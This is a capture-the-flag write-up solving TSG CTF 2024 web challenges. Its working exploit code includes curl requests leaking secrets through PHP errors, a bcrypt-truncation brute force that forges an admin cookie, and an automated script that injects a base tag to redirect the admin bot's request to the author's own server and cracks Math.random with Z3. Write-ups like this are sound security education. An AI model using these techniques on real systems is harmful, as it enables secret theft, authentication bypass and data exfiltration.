TSG CTF 2024 Web Write-Up

Write-up for all TSG CTF 2024 Web challenges (solved by me and blue-lotus team members).

Toolong Tea (143 solves)

Solved independently by @gml-sec, @Eki, and me.

{ "num": [65536, 1, 1] }

I Have Been Pwned (24 solves)

Solved collaboratively by @Eki, @wdeilim, @gml-sec, and me.

PHP debug message leak

Leak first 15 characters of pepper1:

$ curl http://34.84.32.212:8080/ -d 'auth=guest&password=%00'
<br />
<b>Fatal error</b>:  Uncaught ValueError: Bcrypt password must not contain null character in /var/www/html/index.php:21
Stack trace:
#0 /var/www/html/index.php(21): password_hash('PmVG7xe9ECBSgLU...', '2y')
#1 {main}
    thrown in <b>/var/www/html/index.php</b> on line <b>21</b><br />

Leak admin_password:

$ curl http://34.84.32.212:8080/ -d 'auth=admin&password[]=' 
<br />
<b>Fatal error</b>:  Uncaught TypeError: hash_equals(): Argument #2 ($user_string) must be of type string, array given in /var/www/html/index.php:13
Stack trace:
#0 /var/www/html/index.php(13): hash_equals('KeTzkrRuESlhd1V', Array)
#1 {main}
    thrown in <b>/var/www/html/index.php</b> on line <b>13</b><br />

BCrypt truncating

BCrypt truncates the password to the first 72 characters. So we can truncate pepper2 and get the last character of pepper1 and each character of pepper2 by enumerating each value and verify the password hash.

import requests
from bcrypt import checkpw, hashpw, gensalt
from base64 import b64decode, b64encode

URL = 'http://34.84.32.212:8080'

pepper1 = 'PmVG7xe9ECBSgLU'
admin_password = 'KeTzkrRuESlhd1V'
pepper2 = ''

def hash(password):
    res = requests.post(URL, data={'auth': 'guest', 'password': password}, allow_redirects=False)
    b64 = res.cookies.get('hash')
    assert b64 is not None
    return b64decode(b64)

h = hash('a' * 100)
for i in range(256):
    pw = (pepper1 + chr(i) + 'guest').ljust(72, 'a')
    if checkpw(pw.encode(), h):
        pepper1 += chr(i)
        break
print(pepper1)

for i in range(16):
    password = 'a' * (50 - i)
    h = hash(password)
    for j in range(256):
        pw = pepper1 + 'guest' + password + pepper2 + chr(j)
        if checkpw(pw.encode(), h):
            pepper2 += chr(j)
            print(pepper2)
            break

h = hashpw((pepper1 + 'admin' + admin_password + pepper2).encode(), gensalt())
h = b64encode(h).decode()
res = requests.get(f'{URL}/mypage.php', cookies={'auth': 'admin', 'hash': h})
print(res.text)

Cipher Preset Button (19 solves)

Solved by me and @NanoApe.

<base> redirecting

meta and link are not allowed in titleElem, but <base> is not banned in either HTML sanitizer or CSP, so we can change the base URI to redirect the request to /result to our server. Then we can use a 25-character prefix to get the first 25 characters of the flag.

Crack Math.random

Using an empty prefix, we can get the first 25 Math.floor(Math.random() * 65536) and we need to predict the next 23.

There is https://github.com/d0nutptr/v8_rand_buster, and we need to adjust the random-state-to-double conversion part for Firefox. Refer to XorShift128PlusRNG.h.

@@ -17,7 +17,7 @@ def xs128p(state0, state1):
     s1 ^= (s0 >> 26) & 0xFFFFFFFFFFFFFFFF
     state0 = state1 & 0xFFFFFFFFFFFFFFFF
     state1 = s1 & 0xFFFFFFFFFFFFFFFF
-    generated = state0 & 0xFFFFFFFFFFFFFFFF
+    generated = (state0 + state1) & 0xFFFFFFFFFFFFFFFF
def sym_floor_random(slvr, sym_state0, sym_state1, generated, multiple):
    sym_state0, sym_state1 = sym_xs128p(sym_state0, sym_state1)

    calc = (sym_state0 + sym_state1) & BitVecVal((1 << 53) - 1, 64)

    coef = (1 << 53) / multiple
    lower = int(generated * coef)
    upper = int((generated + 1) * coef)

    slvr.add(ULE(BitVecVal(lower, 64), calc))
    slvr.add(ULE(calc, BitVecVal(upper, 64)))

    return sym_state0, sym_state1


def to_double(value):
    return (value & ((1 << 53) - 1)) / (1 << 53)

Automatic solve script

I refined the script after the contest to make it fully automatic. (I dont know why I did this, maybe just to save some explanations on how to run it :)

Z3 solving needs a few CPU hours, so be patient.

It needs public IPv4 access. Use services like requestrepo.com or app.interactsh.com otherwise.

# Receive requests

from flask import Flask, request, make_response
from threading import Thread

URL = "http://104.198.119.144:7891"
PORT = 1337
MAX_PREFIX_LEN = 25
FLAG_LEN = 48

flag = ""

app = Flask(__name__)


@app.route("/result", methods=["OPTIONS"])
def cors():
    response = make_response()
    response.headers["Access-Control-Allow-Origin"] = "*"
    response.headers["Access-Control-Allow-Headers"] = "Content-Type"
    return response


@app.post("/result")
def post_result():
    global flag
    assert request.json
    prefix = request.json["prefix"]
    result = request.json["result"]
    if flag == "":
        for i in range(MAX_PREFIX_LEN):
            flag += chr(ord(prefix[i]) ^ int(result[i * 4 : i * 4 + 4], 16))
        print(flag)
    else:
        points = []
        for i in range(MAX_PREFIX_LEN):
            points.append(ord(flag[i]) ^ int(result[i * 4 : i * 4 + 4], 16))
        print("Start solving")
        seeds = solve(points, 65536)
        points = gen(seeds, 65536, FLAG_LEN)
        for i in range(MAX_PREFIX_LEN, FLAG_LEN):
            flag += chr(points[i] ^ int(result[i * 4 : i * 4 + 4], 16))
        print(flag)
        quit()
    return "ok"


Thread(target=lambda: app.run(host="0.0.0.0", port=PORT)).start()

# Send requests

import requests
from time import sleep

requests.packages.urllib3.util.connection.HAS_IPV6 = False
ip = requests.get("https://ifconfig.me").text
name = f'</title><base href="http://{ip}:{PORT}"/><title>'


def report(prefix):
    res = requests.post(f"{URL}/preset", json={"name": name, "prefix": prefix})
    id = res.json()["id"]
    res = requests.post(f"{URL}/report", json={"path": f"/presets/{id}"})
    print(res.text)


report("A" * MAX_PREFIX_LEN)
sleep(5)
report("")

# Crack Math.random
# https://github.com/d0nutptr/v8_rand_buster

from os import cpu_count
from z3 import *

MAX_UNUSED_THREADS = 2


def xs128p(state0, state1):
    s1 = state0 & 0xFFFFFFFFFFFFFFFF
    s0 = state1 & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s1 << 23) & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s1 >> 17) & 0xFFFFFFFFFFFFFFFF
    s1 ^= s0 & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s0 >> 26) & 0xFFFFFFFFFFFFFFFF
    state0 = state1 & 0xFFFFFFFFFFFFFFFF
    state1 = s1 & 0xFFFFFFFFFFFFFFFF
    generated = (state0 + state1) & 0xFFFFFFFFFFFFFFFF
    return state0, state1, generated


def sym_xs128p(sym_state0, sym_state1):
    s1 = sym_state0
    s0 = sym_state1
    s1 ^= s1 << 23
    s1 ^= LShR(s1, 17)
    s1 ^= s0
    s1 ^= LShR(s0, 26)
    sym_state0 = sym_state1
    sym_state1 = s1
    return sym_state0, sym_state1


def sym_floor_random(slvr, sym_state0, sym_state1, generated, multiple):
    sym_state0, sym_state1 = sym_xs128p(sym_state0, sym_state1)

    calc = (sym_state0 + sym_state1) & BitVecVal((1 << 53) - 1, 64)

    coef = (1 << 53) / multiple
    lower = int(generated * coef)
    upper = int((generated + 1) * coef)

    slvr.add(ULE(BitVecVal(lower, 64), calc))
    slvr.add(ULE(calc, BitVecVal(upper, 64)))

    return sym_state0, sym_state1


def solve(points, multiple):
    ostate0, ostate1 = BitVecs("ostate0 ostate1", 64)
    sym_state0 = ostate0
    sym_state1 = ostate1
    set_option("parallel.enable", True)
    set_option("parallel.threads.max", max(cpu_count() - MAX_UNUSED_THREADS, 1))
    slvr = SolverFor("QF_BV")

    for point in points:
        sym_state0, sym_state1 = sym_floor_random(
            slvr, sym_state0, sym_state1, point, multiple
        )

    assert slvr.check() == sat

    m = slvr.model()
    state0 = m[ostate0].as_long()
    state1 = m[ostate1].as_long()
    return state0, state1


def to_double(value):
    return (value & ((1 << 53) - 1)) / (1 << 53)


def gen(seeds, multiple, count):
    state0, state1 = seeds
    points = []
    for _ in range(count):
        state0, state1, output = xs128p(state0, state1)
        points.append(math.floor(multiple * to_double(output)))
    return points